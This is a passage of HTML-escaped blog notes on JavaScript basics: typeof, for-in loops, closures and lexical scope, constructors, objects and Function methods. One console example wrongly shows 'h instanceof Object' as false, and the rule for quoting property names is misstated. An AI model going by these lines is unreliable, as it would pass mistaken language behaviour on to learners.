Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;A better way to check if a variable is defined is to use typeof.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; if (typeof somevar !== "undefined"){result = 'yes';}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; result;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;""&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;For-in Loops - for arrays&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var a = [ 'a', 'b', 'c', 'x', 'y', 'z'];&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var result = '\n';&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;for (var i in a) {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;result += 'index: ' + i + ', value: ' + a[i] + '\n';&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Functions:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;arguments is an array which receives the arguments, number of arguments passed / declared does not matter. extra arguments would remain undefined.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;callbacks - functions passed as arguments to other functions - typical usage is to delegate the responsibility of calling a function to another function dynamically (say you can write a sort function which takes the&amp;nbsp;comparison&amp;nbsp;function as a call back). They can help with performance esp to avoid multiple for loops etc in few cases.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;selfinvoking anonymous functions - usage is esp to avoid name space collisions&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;private functions - usage is to have functions secured with in a function not available in the global name space.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;functions returning functions - this is to access scope see closures later.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;functions updating themselves - generally to do some initial setup in the scope and once done, use a normal function.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Ex:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var a = function() {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;function someSetup(){&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var setup = 'done';&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;function actualWork() {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;alert('Worky-worky');&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;someSetup();&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;return actualWork;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;}();&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Function scope:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; line-height: 19px;"&gt;- this (the current object on which it is using&amp;nbsp; - if no object is used and the function is just called like that it uses window object as this)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; line-height: 19px;"&gt;- Lexical scope (all the variables with in the scope of this function and its parents - where it is defined (not executed) are accessible via this scope).&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; line-height: 19px;"&gt;- Functions have lexical scope, ie scope is defined when the function is defined. However as soon as the function is called, the scope is used to assign the latest values to the variables used in the function. This is how closures work.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; line-height: 19px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 19px;"&gt;check below two examples to understand how this works.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 19px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 19px;"&gt;&lt;b&gt;Example1: Understanding what lexical scope means&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="line-height: 19px;"&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; function f1(){var a = 1; f2();}&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: 19px;"&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; function f2(){return a;}&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: 19px;"&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; f1();&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: 19px;"&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;a is not defined&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: 19px;"&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;Inside the function f1() we call the function f2(). Because the local variable a is also inside f1(), one might expect that f2() will have access to a, but that's not the case. At the time when f2() was defined (as opposed to executed), there was no a in sight. f2(), just like f1(), only has access to&amp;nbsp;its own scope.&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: 19px;"&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: 19px;"&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Example2: Understanding how variable access from the scope happens when the actual function call is made.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: #333333;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 19px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;function f() {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;var a = [];&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;var i;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;for(i = 0; i &amp;lt; 3; i++) {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;a[i] = function(){&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;return i;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;return a;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var a = f();&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;a[0](); &amp;nbsp;(output - 3)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;a[1](); &amp;nbsp;(output - 3)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;a[2]();&amp;nbsp;&amp;nbsp;(output - 3)&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Lexical scope + variable access during run time in action:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;function f() {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var a = [];&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var i;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;for(i = 0; i &amp;lt; 3; i++) {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;a[i] = (function(x){&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;return function(){&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;return x;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;})(i);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;return a;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var a = f();&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;nbsp;a[0](); &amp;nbsp;(output - 0)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;nbsp;a[1](); &amp;nbsp;(output - 1)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;nbsp;a[2](); &amp;nbsp;(output - 2)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Objects:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var o = {prop: 1};&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var o = {"prop": 1};&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var o = {'prop': 1};&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;property names of objects generally leave with out any quotes, however quotes are necessary if your property name starts with number/ has special chars / is a javascript identifier.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;JavaScript uses arrays to represent indexed arrays and objects to represent associative arrays. If you want a hash in JavaScript, you use an object.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Object property values can be accessed using square bracket notation or . (dot) notation.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;o.constructor property returns the constructor function&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;o.toString() is a method that returns a string representation of the object&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;o.valueOf() returns a single-value representation of the object, often this is the object itself&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Constructor functions:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;function Hero(name) {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;this.name = name;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;this.occupation = 'Ninja';&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;this.whoAreYou = function() {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;return "I'm " + this.name + " and I'm a " + this.occupation;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var h1 = new Hero('Michelangelo');&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var h2 = new Hero('Donatello');&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;h1.whoAreYou();&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;(output - "I'm Michelangelo and I'm a Ninja")&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;By convention, you should capitalize the first letter of your constructor functions so that you have a visual clue that this is not a normal function.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;function Hero(){}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var h = new Hero();&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var o = {};&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; h instanceof Hero;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;output - true&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; h instanceof Object;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;false&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; o instanceof Object;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;true&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Functions that return objects&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;function factory(name) {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;return {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;name: name&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;};&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var o = factory('one');&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; o.name&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;one&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;however o.constructor() would return Object.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Objects are always assigned / passed by reference. See the below examples.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var original = {howmany: 1};&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var copy = original;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; copy.howmany &amp;nbsp; (output: 1)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;copy.howmany = 100;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;&amp;gt; original.howmany (output: 100)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Built in objects:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Data wrapper objects—Object, Array, Function, Boolean, Number, and String.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Utility objects—These are Math, Date, RegExp&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Error Object - Error&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Array object:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var a = new Array(1,2,3)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt; a&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;[1,2,3]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var b = new Array(2);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;gt;&amp;gt;b&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;[undefined, undefined]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Array has length property which on modifying dynamically changes the length of the array.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;slice(), splice() functions give us a chunk of the array between offsets, however splice along with giving the slice modifies the original array by removing the slice it has returned.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Function objects:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&amp;nbsp;var sum = new Function('a', 'b', 'return a + b;');&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;creates a function sum&amp;nbsp;similar&amp;nbsp;to &amp;nbsp;function sum(a,b){return a+b;} however using the function constructor is not good just as eval.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Function objects have the following properties&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;- length - return the number of arguments it accepts.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;- caller - returns the function that has actually called this function. If you call a function from global space caller would be null.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;-&amp;nbsp;prototype -&amp;nbsp;property of a function contains an object. This is the object that is used to create new objects when this function is used as constructor. All objects created with this function keep a reference to the prototype property and can use its properties as their own.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Methods on function objects:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;- toString - To string would return the function code in string format.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;- call - used to call a method on a particular object on another object.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;- apply - same as call but arguments are passed as array.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;some_obj.someMethod.apply(my_obj, ['a', 'b', 'c']);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;some_obj.someMethod.call(my_obj, 'a', 'b', 'c');&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;The arguments variable with in a function looks like an array however it only has the length property of array. If you want to use some other methods of array on this use the apply method on those array methods.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;The arguments object has a callee property which would have a reference to the function itself so you can do something like anonymous 